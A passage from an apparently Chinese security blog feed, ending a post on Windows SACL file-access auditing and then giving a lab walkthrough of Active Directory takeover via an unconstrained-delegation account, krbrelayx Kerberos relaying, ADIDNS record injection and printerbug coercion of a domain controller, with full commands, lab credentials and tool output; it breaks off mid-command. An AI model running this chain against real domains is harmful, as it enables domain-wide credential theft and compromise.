&lt;p&gt;点击&lt;strong&gt;高级&lt;/strong&gt;（advanced）按钮，我们会获取到更多的选项，比如继承&lt;/p&gt;
&lt;p&gt;&lt;img alt="1610014062110" src="https://s2.loli.net/2024/06/14/uWy7gArlhvOYBVG.png"&gt;&lt;/p&gt;
&lt;h1&gt;使用SACL对object进行监控&lt;/h1&gt;
&lt;p&gt;我们以监控单个文件为例&lt;/p&gt;
&lt;p&gt;我们在使用SACL对安全对象进行监控之前，需要先设置组策略启用&lt;code&gt;audit object access&lt;/code&gt;，这里我们设置的是对成功访问的审计（只对访问成功的事件进行记录）&lt;/p&gt;
&lt;p&gt;&lt;img alt="1610012809927" src="https://s2.loli.net/2024/06/14/nhrUK7SOBXqRkdN.png"&gt;&lt;/p&gt;
&lt;p&gt;然后在文件的安全选项卡中进行SACL的配置&lt;/p&gt;
&lt;p&gt;我们这里配置对&lt;code&gt;C:\Users\123\AppData\Local\Tep\test_file.txt&lt;/code&gt;文件的读取行为进行监控&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;img alt="1610013012152" src="https://s2.loli.net/2024/06/14/wU85kQv4WCJyLiF.png"&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SACL配置完成之后可能会产生的日志&lt;/p&gt;
&lt;p&gt;4656(S, F): A handle to an object was requested.&lt;/p&gt;
&lt;p&gt;4658(S): The handle to an object was closed.&lt;/p&gt;
&lt;p&gt;4660(S): An object was deleted.&lt;/p&gt;
&lt;p&gt;4663(S): An attempt was made to access an object.&lt;/p&gt;
&lt;p&gt;4664(S): An attempt was made to create a hard link.&lt;/p&gt;
&lt;p&gt;4985(S): The state of a transaction has changed.&lt;/p&gt;
&lt;p&gt;5051(-): A file was virtualized.&lt;/p&gt;
&lt;p&gt;4670(S): Permissions on an object were changed.&lt;/p&gt;
&lt;p&gt;用记事本打开该文件，可以查看到如下日志：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1610013245325" src="https://s2.loli.net/2024/06/14/o79L2kRUtDaY8u6.png"&gt;&lt;/p&gt;
&lt;p&gt;上面我们只设置了监控文件的read，但是此时如果我们使用python写个脚本去读取内容，是不会产生日志的&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/env python&lt;/span&gt;

&lt;span class="c1"&gt;# Define a filename.&lt;/span&gt;
&lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Users&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;123&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;AppData&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Local&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Temp&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;test_file.txt&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Open the file as f.&lt;/span&gt;
&lt;span class="c1"&gt;# The function readlines() reads the file.&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Show the file contents line by line.&lt;/span&gt;
&lt;span class="c1"&gt;# We added the comma to print single newlines and not double newlines.&lt;/span&gt;
&lt;span class="c1"&gt;# This is because the lines contain the newline character &amp;#39;\n&amp;#39;.&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;要想监控到，需要同时勾选上下面这个选项&lt;/p&gt;
&lt;p&gt;&lt;img alt="1610013551951" src="https://s2.loli.net/2024/06/14/ZbLfJ3lmTXQqRxy.png"&gt;&lt;/p&gt;
&lt;p&gt;此时再使用脚本读取该文件，就会产生日志&lt;/p&gt;
&lt;p&gt;&lt;img alt="1610013621359" src="https://s2.loli.net/2024/06/14/xCYKrHSJ2hnma69.png"&gt;&lt;/p&gt;
&lt;p&gt;在windows AD中，SACL的用途以及选项会比工作组多很多，下面是一个OU的ACL相关的截图&lt;/p&gt;
&lt;p&gt;&lt;img alt="1610014712881" src="https://s2.loli.net/2024/06/14/2E9YXy4jSDtuLC6.png"&gt;&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>非约束委派账户配合printerbug域内提权</title><link href="fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html" rel="alternate"></link><published>2020-12-24T00:00:00+01:00</published><updated>2020-12-24T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2020-12-24:fei-yue-shu-wei-pai-zhang-hu-pei-he-printerbugyu-nei-ti-quan.html</id><summary type="html">&lt;p&gt;参考链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/"&gt;https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/dirkjanm/krbrelayx/issues/9"&gt;https://github.com/dirkjanm/krbrelayx/issues/9&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/"&gt;https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;基本原理&lt;/h1&gt;
&lt;p&gt;这里不对非约束委派的具体细节进行深究，这里只讲一下利 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;参考链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/"&gt;https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/dirkjanm/krbrelayx/issues/9"&gt;https://github.com/dirkjanm/krbrelayx/issues/9&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/"&gt;https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;基本原理&lt;/h1&gt;
&lt;p&gt;这里不对非约束委派的具体细节进行深究，这里只讲一下利用的原理，如果你想了解数据包层面的原理分析，请移步至这篇文章：&lt;a href="http://144.34.164.217/kerberosfei-yue-shu-wei-pai-shu-ju-bao-fen-xi.html"&gt;Kerberos非约束委派数据包分析&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;域内的用户A在访问由非约束委派账户B运行的服务S&lt;/li&gt;
&lt;li&gt;向KDC请求服务票据&lt;/li&gt;
&lt;li&gt;KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据&lt;/li&gt;
&lt;li&gt;该票据由服务账户也就是非约束委派账户B的hash进行加密&lt;/li&gt;
&lt;li&gt;用户A向其请求的服务器发送带有其TGT的服务票据&lt;/li&gt;
&lt;li&gt;服务器拿到后使用服务账户B解密即可获得用户A的TGT&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果这里的A是域管理员或者域控制器的机器账户，那么我们就有可能获得整个域的管理权限&lt;/p&gt;
&lt;h1&gt;域环境&lt;/h1&gt;
&lt;p&gt;在执行到最后一步，也就是触发printerbug的时候，发现总是报&lt;code&gt;SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND&lt;/code&gt;，在krbrelay项目的issues里翻了翻，找到了相关问题：&lt;a href="https://github.com/dirkjanm/krbrelayx/issues/9"&gt;https://github.com/dirkjanm/krbrelayx/issues/9&lt;/a&gt;，在server 2008全版本以及server 2012中即使启用了Printer Spool服务，也依然无法访问到&lt;code&gt;spoolss&lt;/code&gt;命名管道，因为它不在RPC中暴露该服务，因此下面的操作虽然是在server 2008上执行的，但是大家复现的时候要在server 2012 R2上进行操作&lt;/p&gt;
&lt;p&gt;域控：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows Server 2012 R2&lt;/li&gt;
&lt;li&gt;domain1.com&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;内网脱域linux主机:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;centos7&lt;/li&gt;
&lt;li&gt;root / 1234&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;需要关闭selinux，不然krbrelay开放的端口无法被外部访问，禁用方法参考&lt;a href="https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/"&gt;https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/&lt;/a&gt;，最后还要再执行一下&lt;code&gt;iptables -F&lt;/code&gt;清除防火墙规则&lt;/p&gt;
&lt;p&gt;非约束委派账户：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ohyeah / OMG Step Bro I'm stuck&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;已经获得的一个低权限的域内账户：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;low_prv / easyp@ss123&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;创建非约束委派账户&lt;/h1&gt;
&lt;p&gt;为该账户注册spn：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;setspn -U -A servicetype/somecomputer:somport/servicename ohyeah&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里只用作演示，SPN是乱写的，只要符合格式即可&lt;code&gt;&amp;lt;service class&amp;gt;/&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;/&amp;lt;service name&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1608622270659" src="https://s2.loli.net/2024/06/14/FarRB9hpVXOW6EC.png"&gt;&lt;/p&gt;
&lt;p&gt;注册完成之后，ohyeah账户的属性中会出现&lt;strong&gt;委派&lt;/strong&gt;选项卡，勾选第二个即可&lt;/p&gt;
&lt;p&gt;&lt;img alt="1608622366023" src="https://s2.loli.net/2024/06/14/aE7nAyHgRJVruNc.png"&gt;&lt;/p&gt;
&lt;p&gt;当然在实战环境中，我们需要自己定位非约束委派账户，使用&lt;a href="https://dirkjanm.io/"&gt;dirkjanm&lt;/a&gt;的&lt;a href="https://github.com/dirkjanm/ldapdomaindump"&gt;ldapdomaindump&lt;/a&gt;工具可以查找域内的非约束委派账户:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;root@localhost&lt;span class="w"&gt; &lt;/span&gt;ldapdomaindump&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# python3 ldapdomaindump.py -u domain1\\low_prv -p easyp@ss123 192.168.60.138&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Connecting&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host...
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Binding&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Bind&lt;span class="w"&gt; &lt;/span&gt;OK
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Starting&lt;span class="w"&gt; &lt;/span&gt;domain&lt;span class="w"&gt; &lt;/span&gt;dump
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Domain&lt;span class="w"&gt; &lt;/span&gt;dump&lt;span class="w"&gt; &lt;/span&gt;finished
&lt;span class="o"&gt;[&lt;/span&gt;root@localhost&lt;span class="w"&gt; &lt;/span&gt;ldapdomaindump&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# grep TRUSTED_FOR_DELEGATION domain_users.grep&lt;/span&gt;
ohyeah&lt;span class="w"&gt;  &lt;/span&gt;ohyeah&lt;span class="w"&gt;  &lt;/span&gt;ohyeah&lt;span class="w"&gt;          &lt;/span&gt;Domain&lt;span class="w"&gt; &lt;/span&gt;Users&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;/22/20&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;06&lt;/span&gt;:52:40&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;/22/20&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;07&lt;/span&gt;:33:20&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;/22/20&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;07&lt;/span&gt;:14:59&lt;span class="w"&gt;       &lt;/span&gt;NORMAL_ACCOUNT,&lt;span class="w"&gt; &lt;/span&gt;DONT_EXPIRE_PASSWD,&lt;span class="w"&gt; &lt;/span&gt;TRUSTED_FOR_DELEGATION&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;/22/20&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;06&lt;/span&gt;:52:40&lt;span class="w"&gt;       &lt;/span&gt;S-1-5-21-907132375-727761492-2815538385-1104
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;至于通过什么样的手段去获得该非约束委派账户的密码以及内网的linux服务器权限这里就不细讲了，没有固定的方法，这取决于各位在内网中进行信息搜集的和凭证获取的能力&lt;/p&gt;
&lt;p&gt;然后我们用这个非约束委派账户再去注册一个SPN，主机就是我们已经控制的centos7，这里我们可以通过代理使用&lt;code&gt;addspn.py&lt;/code&gt;进行SPN的注册，该脚本是&lt;a href="https://dirkjanm.io/"&gt;dirkjanm&lt;/a&gt;工具集&lt;a href="https://github.com/dirkjanm/krbrelayx"&gt;krbrelayx&lt;/a&gt;中的其中一个&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;addspn.py&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;domain1.com&lt;span class="se"&gt;\o&lt;/span&gt;hyeah&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;OMG Step Bro I&amp;#39;m stuck&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;HOST/whatthefuck.domain1.com&lt;span class="w"&gt;  &lt;/span&gt;ldap://192.168.60.138
&lt;span class="o"&gt;[&lt;/span&gt;-&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Connecting&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host...
&lt;span class="o"&gt;[&lt;/span&gt;-&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Binding&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Bind&lt;span class="w"&gt; &lt;/span&gt;OK
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Found&lt;span class="w"&gt; &lt;/span&gt;modification&lt;span class="w"&gt; &lt;/span&gt;target
&lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Could&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;modify&lt;span class="w"&gt; &lt;/span&gt;object,&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;server&lt;span class="w"&gt; &lt;/span&gt;reports&lt;span class="w"&gt; &lt;/span&gt;insufficient&lt;span class="w"&gt; &lt;/span&gt;rights:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;00002098&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;SecErr:&lt;span class="w"&gt; &lt;/span&gt;DSID-03150BB9,&lt;span class="w"&gt; &lt;/span&gt;problem&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4003&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;INSUFF_ACCESS_RIGHTS&lt;span class="o"&gt;)&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;提示我们当前账户缺少适当的权限进行SPN的注册，一般情况下，非约束委派账户都是拥有对SPN的读写权限的，因此我们进行如下设置&lt;/p&gt;
&lt;p&gt;&lt;img alt="1608722840620" src="https://s2.loli.net/2024/06/14/AQrBpqtkFuS65mj.png"&gt;&lt;/p&gt;
&lt;p&gt;至此，非约束委派账户创建完毕&lt;/p&gt;
&lt;h1&gt;使用非约束委派账户注册SPN&lt;/h1&gt;
&lt;p&gt;再次进行注册，其中&lt;code&gt;192.168.60.138&lt;/code&gt;是域控制器地址：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;addspn.py&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;domain1.com&lt;span class="se"&gt;\o&lt;/span&gt;hyeah&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;OMG Step Bro I&amp;#39;m stuck&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;HOST/whatthefuck.domain1.com&lt;span class="w"&gt; &lt;/span&gt;ldap://192.168.60.138
&lt;span class="o"&gt;[&lt;/span&gt;-&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Connecting&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host...
&lt;span class="o"&gt;[&lt;/span&gt;-&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Binding&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Bind&lt;span class="w"&gt; &lt;/span&gt;OK
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Found&lt;span class="w"&gt; &lt;/span&gt;modification&lt;span class="w"&gt; &lt;/span&gt;target
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;SPN&lt;span class="w"&gt; &lt;/span&gt;Modified&lt;span class="w"&gt; &lt;/span&gt;successfully
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;添加DNS记录&lt;/h1&gt;
&lt;p&gt;然后我们要把刚才注册的SPN中的域名&lt;code&gt;whatthefuck.domain1.com&lt;/code&gt;指向我们已经控制的centos7，使用&lt;code&gt;dnstoo.py&lt;/code&gt;可以完成该操作&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;dnstool.py&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;domain1.com&lt;span class="se"&gt;\l&lt;/span&gt;ow_prv&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;easyp@ss123&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;whatthefuck.domain1.com&lt;span class="w"&gt;  &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.228&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.138
&lt;span class="o"&gt;[&lt;/span&gt;-&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Connecting&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host...
&lt;span class="o"&gt;[&lt;/span&gt;-&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Binding&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Bind&lt;span class="w"&gt; &lt;/span&gt;OK
&lt;span class="o"&gt;[&lt;/span&gt;-&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Adding&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;record
&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;LDAP&lt;span class="w"&gt; &lt;/span&gt;operation&lt;span class="w"&gt; &lt;/span&gt;completed&lt;span class="w"&gt; &lt;/span&gt;successfully
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;添加之后，&lt;code&gt;whatthefuck.domain1.com&lt;/code&gt;就会解析到我们的cnetos7的IP：&lt;code&gt;192.168.60.228&lt;/code&gt;，这个记录最迟会在3分钟后生效，因为ADIDNS从LDAP中刷新纪录是有时间间隔的&lt;/p&gt;
&lt;p&gt;&lt;img alt="1608724409931" src="https://s2.loli.net/2024/06/14/KAwsZibzFUOBy85.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1608724995214" src="https://s2.loli.net/2024/06/14/fdYpq3WiGe5zgvR.png"&gt;&lt;/p&gt;
&lt;h1&gt;开启Kerberos中继&lt;/h1&gt;
&lt;p&gt;下面我们在centos7上开启krbrelay，这一步就没办法通过代理操作了，只能在改linux上进行操作，一般情况下linux服务器的80端口（httpd）都是开着的，因此我们需要对&lt;code&gt;krbrelayx.py&lt;/code&gt;的http服务监听端口进行更改，在94行添加&lt;code&gt;c.setListeningPort(12138)&lt;/code&gt;即可：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1608725890249" src="https://s2.loli.net/2024/06/14/uyKTkHScJL4XGwP.png"&gt;&lt;/p&gt;
&lt;p&gt;然后开启krbrelay，-s参数的值就是salt，格式为&lt;strong&gt;域名全大写+用户名&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;开始使用的是python2，但是报了编码相关的错误，如果大家遇到了这种错误，可以尝试一下python3，应该能解决问题&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;root@localhost&lt;span class="w"&gt; &lt;/span&gt;krbrelayx-master&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;# python3 krbrelayx.py -p &amp;quot;OMG Step Bro I&amp;#39;m stuck&amp;quot; -s DOMAIN1.COMohyeah&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Protocol&lt;span class="w"&gt; &lt;/span&gt;Client&lt;span class="w"&gt; &lt;/span&gt;LDAP&lt;span class="w"&gt; &lt;/span&gt;loaded..
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Protocol&lt;span class="w"&gt; &lt;/span&gt;Client&lt;span class="w"&gt; &lt;/span&gt;LDAPS&lt;span class="w"&gt; &lt;/span&gt;loaded..
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Protocol&lt;span class="w"&gt; &lt;/span&gt;Client&lt;span class="w"&gt; &lt;/span&gt;SMB&lt;span class="w"&gt; &lt;/span&gt;loaded..
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Running&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mode&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;all&lt;span class="w"&gt; &lt;/span&gt;tickets&lt;span class="w"&gt; &lt;/span&gt;will&lt;span class="w"&gt; &lt;/span&gt;be&lt;span class="w"&gt; &lt;/span&gt;saved&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;disk&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Setting&lt;span class="w"&gt; &lt;/span&gt;up&lt;span class="w"&gt; &lt;/span&gt;SMB&lt;span class="w"&gt; &lt;/span&gt;Server
&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Setting&lt;span class="w"&gt; &lt;/span&gt;up&lt;span class="w"&gt; &lt;/span&gt;HTTP&lt;span class="w"&gt; &lt;/span&gt;Server

&lt;span class="o"&gt;[&lt;/span&gt;*&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Servers&lt;span class="w"&gt; &lt;/span&gt;started,&lt;span class="w"&gt; &lt;/span&gt;waiting&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;connections
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;利用printerbug触发DC回连&lt;/h1&gt;
&lt;p&gt;一切准备就绪，现在只需要用printerbug漏洞触发域控制器向我们发起访问即可&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;printerbug&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DOMAIN1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ohyeah&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;OMG Step Bro I&amp;#39;m stuck&amp;quot;&lt;/span&gt;&lt;span class="mf"&gt;@192.168.60.138&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;whatthefuck&lt;/span&gt;&lt;span 